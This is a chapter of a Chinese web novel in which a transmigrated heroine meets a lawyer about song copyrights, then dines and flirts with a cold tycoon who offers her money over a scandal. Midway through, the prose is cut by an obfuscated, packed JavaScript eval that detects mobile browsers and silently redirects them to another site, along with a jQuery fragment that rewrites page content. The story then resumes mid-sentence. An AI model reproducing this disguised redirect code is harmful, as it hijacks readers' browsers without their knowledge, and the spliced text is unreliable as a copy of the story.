她扔下平板从沙发上坐起,眼睛一眨不眨地盯着大门。
“吱呀”厚重的大门被推开,在看清推开门的人是谁后,尚今歌亮起的眼眸一下子暗淡下去。
来人是苍怀忍的司机,他看到大厅正对的沙发上坐着尚今歌愣了一下,显然他没料到会与她碰面。
“尚小姐,我来给苍先生送东西。”司机朝尚今歌低头打了声招呼,随后拎着两只包装精美的外卖盒快步走向餐厅。
“哦,好的。”尚今歌应了声重新坐回沙发。
她刚摸到平板,敞开的大门又有人走进来,她抬眼一看,不是苍怀忍还能是谁呢?
“苍老板,我......严律师?”她起身迎上去,刚想重复一遍自己找他的原因,却见跟在苍怀忍身后的正是她想见的严律师。
严律师从苍怀忍身后探出头微笑着和尚今歌打招呼:“嗨,尚小姐,我们又见面了。”
“你需要他做什么尽管吩咐,何姨和保姆们今天休息,我订了餐让司机带回来,你和严律师聊完就来餐厅。”
苍怀忍破天荒地说了这么长的话,尚今歌诧异地将他从头到脚打量一番,要不是看他还是一副淡漠的模样,她还以为他和自己一样换了芯子。
“好,我知道了。”尚今歌点点头,转而看向严律师,“严律师,我们去音乐室里详谈。”
得到尚今歌的答复,苍怀忍抬脚进了走廊。
“尚小姐,想找我咨询什么?我可是苍先生的私人律师,一般只为他一个人服务。”严律师跟在尚今歌身后询问找他来干什么,又忍不住暗示自己可不是随随便便能请动的。
“这样啊,那我还是找别人吧。”尚今歌哪里听不出他的炫耀摆谱,但她不上套,握住音乐室门把的手立刻收了回来接着扭头往大厅走。
严律师被她的反应给吓到了,他就是过个嘴瘾,想让人奉承两句。
要是尚今歌真的不和他合作,自己没有完成苍先生安排的任务,他的百万年薪工作肯定会丢了,到时候他哭都来不及!
“尚小姐,别走,我一定竭诚为您服务!”他一把拉住尚今歌的手腕,意识到自己的行为很是鲁莽,他赶紧松开手连连道歉,“抱歉,抱歉,我只是太着急了。”
“傻孩子,想嘚瑟也得把事情办妥了再嘚瑟,懂吗?”尚今歌抬手敲了一下他的脑袋,转身推开音乐室的房门。
“懂了懂了。”严律师委屈地揉着脑门,紧跟在尚今歌身后进入音乐室。
一个小时后,尚今歌和严律师谈完歌曲版权申请的事情,等在大厅的司机领着严律师离开了豪宅。
尚今歌走出音乐室在门口伸了个懒腰,刚想回自己卧室,突然想起苍怀忍的嘱咐,走向卧室的脚步转了个方向。
餐厅里,苍怀忍端坐在长方形的餐桌前,双手正在笔记本电脑上敲击键盘,看起来尤为忙碌。
他也没吃晚饭吗?这是要一起用餐吗?
尚今歌看着餐桌上热乎乎的五菜一汤以及摆好的两套餐具,五菜一汤里有三道菜和昨晚她在餐厅里点的一模一样,她的心中充满疑惑。
苍怀忍的口味和她的还挺像?
她按照餐桌上摆放好的餐具坐到苍怀忍的对面,在她落座后,苍怀忍立即合上笔记本电脑。
“谈完了?感觉如何?”苍怀忍捏了捏眉心,随后看向尚今歌。
尚今歌拿起餐具,对他点点头:“挺好的,我很满意,谢谢你。”
“不必客气,他平时也闲着,给他找点事做,很好。”苍怀忍面无表情地接下尚今歌的谢意,修长的手指拎起筷子开始就餐。
同样是吃饭,尚今歌是狼吞虎咽,她这人除了写歌唱歌,最喜欢的事就是吃饭,她的吃饭宗旨就是大口吃饭大口喝汤。
而正对她的苍怀忍却是慢条斯理,一副优雅从容的样子,明明再寻常不过的吃饭动作,在他的举手投足间竟成了赏心悦目的艺术。
瞧了眼苍怀忍骨碟里摆放整齐的鱼骨、肉骨,尚今歌一瞬间不忍直视自己骨碟中那堆成小山似的碎骨。
真矫情,吃个饭还装模作样的。尚今歌撇了撇嘴,将吐得满满当当的骨碟推到一边重新拿了一只骨碟继续吐骨头。
“你和卫免在合作什么项目?”
尚今歌正夹着一块椒盐排骨认认真真地啃着,没想到苍怀忍会找她搭话,猛地被嘴里的肉卡了一下嗓子。
“咳咳咳......”尚今歌抓过湿巾捂住嘴侧身咳嗽起来,生理泪水瞬间充盈眼眶。
“你还好吗?”苍怀忍迅速放下筷子站起身,刚往尚今歌身边走了两步却停了下来,最终又坐回座位。
陷入咳嗽中的尚今歌根本没看到苍怀忍纠结的行为,她空出一只手和对面摆手,等自己好受点才回道:“没事,肉卡嗓子了。”
“喝点水。”苍怀忍倒了杯温水推到对面。
尚今歌道了声谢便端起水杯喝起来,由于刚才的咳嗽,此时的她脸色潮红,泪光点点,看起来像只可爱的红眼小兔,尤其抱着水杯乖巧地吮吸,更显得憨态可掬。
苍怀忍的目光不受控制地锁定在她的脸上,不放过她任何一个细微的表情。
尚今歌趁抬头喝水的动作,快速瞄向对面,只一眼便猝不及防地撞入那双深不可测的眸光里。
她心神一晃,手中的水杯也跟着颤动,几滴水飞溅出来洒在她的下巴、脖颈、手上,晶莹的水珠顺着肌肤往下流淌,隐入不可见的深处。
苍怀忍对她的慌乱尽收眼底,他的目光始终落在尚今歌身上,尤其那些水滴沿着她肌肤蜿蜒时的轨迹在他的眼中全都成了慢动作画面。
他不动声色地将自己的手帕递过去,看着那手帕轻抚过她的脸颊、脖子、锁骨、领口、手腕。
“我和卫免合作录制歌曲,后期可能还要一起拍摄MV,也或许找人拍。”尚今歌放下水杯,将擦过的手帕叠好放在右手边。
对于和卫免的合作,她没有隐瞒的意思,反正歌曲发布,所有人都会知道他们的合作。
“你会唱歌?”苍怀忍重新拿起筷子看似随口一问,清冷的眸子低垂瞥向尚今歌右手边的手帕。
尚今歌撩了一下散在脸颊旁的发丝,对苍怀忍摆了摆右手食指,“我不单单只会唱歌,我还会写歌,我和卫免唱的就是我作词作曲的歌。”
苍怀忍捏着筷子没有夹动饭菜,一贯冷漠的面容浮现几分疑惑,“以前从未见你表现过。”
糟了,得意忘形了,他不会把我当成精神分裂送进精神病院吧?
尚今歌埋头刨了一口饭,左手抵着额头挡住苍怀忍打量她的视线。
“没办法,以前我在藏拙,现在发现家人并不可靠,我能仰仗的只有自己,当然不能再像以前那样过活啦。”
沉默了一会儿,尚今歌想到可以把自己的变化推给尚今唱那一家三口。
“你能看清自己的处境,说明还有救,但他们是想要你的命,这点你还得看透。”
苍怀忍的话刚说完,紧接着响起“喀拉”声。
尚今歌循声望去,一眼看到苍怀忍手中的筷子断成两截。
好家伙,他怎么发神经单手折断筷子?
尚今歌满腹疑问,却也没敢问出来,她继续低头埋头苦吃,生怕阴晴不定的苍怀忍将她当成筷子折了。
“如果你的家人想要你的命,你会怎么做?”
有时候就是这样,你想躲避麻烦,但麻烦会缠着你,这不,苍怀忍给尚今歌抛出一个大问题。
尚今歌放下筷子,嘴里不停地咀嚼饭菜,等全部吞下,她才愤愤道:“在他们想要我命的那一刻,就不是我的家人了,他们是我的仇人。”
“仇人?你要报复他们?道德的枷锁,人言可畏,这些你不在乎吗?”苍怀忍寒潭似的眸底亮起一簇星光,他半眯起眼睛观察尚今歌脸上的表情。
尚今歌用湿巾擦着嘴角的油腻,越听苍怀忍的话她心里越是气愤,她猛地一拍桌子吼道:“我去他的人言可畏,他们都要我的命了,我还不反击回去,那不是找死,我可不要死,我要活着。”
“他们才不是什么家人,威逼利诱我去爬男人的床,在他们眼里,我一个女的最大的用处就是张开【】腿躺在男人的床上给他们谋取利益,即使我用名声用身体给他们赚到钱,我也不如那□□多出二两肉的儿子!”
尚今歌越说越气,穿书前她生在重男轻女的家庭,不被重视,自己勤工俭学上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812710|190115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了大学,学了音乐。
好不容易有了经纪人签约唱片公司,想着能赚大钱了,被经纪人和公司联合压榨,被父母和哥哥弟弟一起吸血。
她是汪洋大海中的一片树叶,随海浪浮沉,没人在意她这片叶子,可她自己在意。
她想自救,倾尽一切与经纪人、公司以及家人对薄公堂。
经纪人联手公司和父母、哥哥、弟弟对她进行造谣网暴,他们没有对她的□□进行迫害,却在精神上对她进行凌迟酷刑。
自己因为精神的折磨导致失眠、没胃口,各种纠结内耗,健康的身体就这样被消耗枯萎。
既然上天重新给她一次生命,她要过自己想过的生活,只取悦自己,管别人说什么做什么。
“这样对你的人,你还认为是家人吗?那你还挺受虐狂。”尚今歌抓起水杯猛灌一口水,压下自己心头窜起的怒火。
她知道苍怀忍为什么问出这样的问题,原书中,苍怀忍的父母在他刚满月时离婚,两人先后出国,各自另组家庭。
小小的他一直是被爷爷苍弘业养大,初中毕业便去了国外读书,直到大学毕业回国进入苍氏集团底层历练两年,好不容易坐上总裁的位置。
总裁位置还没坐热,二十六年没有尽过责任的父亲突然带着自己另外两个儿子回国要和他抢苍家继承人的位置。
面对父亲和两个同父异母弟弟地群狼环伺,苍怀忍竟然还在优柔寡断。
她嫌弃地瞅着苍怀忍,明明给人任何事都运筹帷幄的从容感,实际上不仅拎不清家人的定义,还死好面子。
尚今歌以为自己说话这么冲,苍怀忍会生气,她都做好跑路的准备,谁知对面的苍怀忍面色如常,停在尚今歌身上的目光微敛,然后转移话题。
“苍家发布的有关你的丑闻,不是我的手笔。”
尚今歌惊讶又疑惑,他为什么和自己解释这个?
苍怀忍看她欲言又止,以为她想解决这个丑闻,“我可以给你两百万的补偿。”
一听又有钱拿,尚今歌笑得见牙不见眼,她笑嘻嘻地望着苍怀忍,越看他越觉得迷人得很。
果然,男人在给钱的时候最帅气。
“这个价钱刚刚好,我很满意,那些丑闻随你们爆,我也可以长期合作的。”尚今歌搓手,笑眯眯地补充。
真是赚大发了,这个冷若冰山的男人竟然这么容易爆金币。
苍怀忍本想询问丑闻会不会让她困扰,但看尚今歌满脑子只有将要进账的两百万,便打消这个念头。
早就吃饱饭的尚今歌,心情非常好地坐在椅子上打算陪苍怀忍吃完饭,她眼含笑意,双手托腮凝视眼前慢悠悠进餐的男人。
十五分钟后,苍怀忍终于用餐完毕,他用湿巾轻轻擦干净嘴,起身离开前对一直盯着他的尚今歌轻声开口,“银行账号待会发我。”
“好的!苍老板!”尚今歌等的就是他这句话,她利落地打开手机,将自己的银行卡号发了过去。
“叫我名字。”
尚今歌以为自己听错了,她从手机上移开视线仰头望向站在身前的苍怀忍,疑惑道:“你说什么?”
她没等来苍怀忍的回答,反而是他倾身靠近,垂在身侧右手忽然抬起,尚今歌下意识举起手挡在面前。
“你干嘛?!”她尖叫一声,以为苍怀忍要打她。
回应她紧张情绪的是脸上一阵酥酥麻麻的触感,她眼睛大睁,呆愣地看着苍怀忍手指轻挑,悠然地将一缕挡在她眼前的发丝别到耳后。
“叫我苍怀忍,钱,我上楼后转你。”苍怀忍收回手,顺势带走尚今歌右手边的手帕。
而他收手时,手背轻轻刮蹭尚今歌的脸颊,细微的动作骤然引起她身体的轻颤。
尚今歌一时间不知道眼睛该看哪里,索性闭上眼装死。
直到苍怀忍的脚步声渐行渐远直至听不见,她才找回自己的心跳,刚才的一瞬间,她竟被撩拨到。
真可恶啊!仗着长得好看,就胡作非为吗?
和容昕雅定好结婚日子,还来勾引她,一看就不是安分的男人,呸呸呸。
尚今歌用湿巾使劲擦拭脸上被碰过的地方,心里不停地鄙视苍怀忍。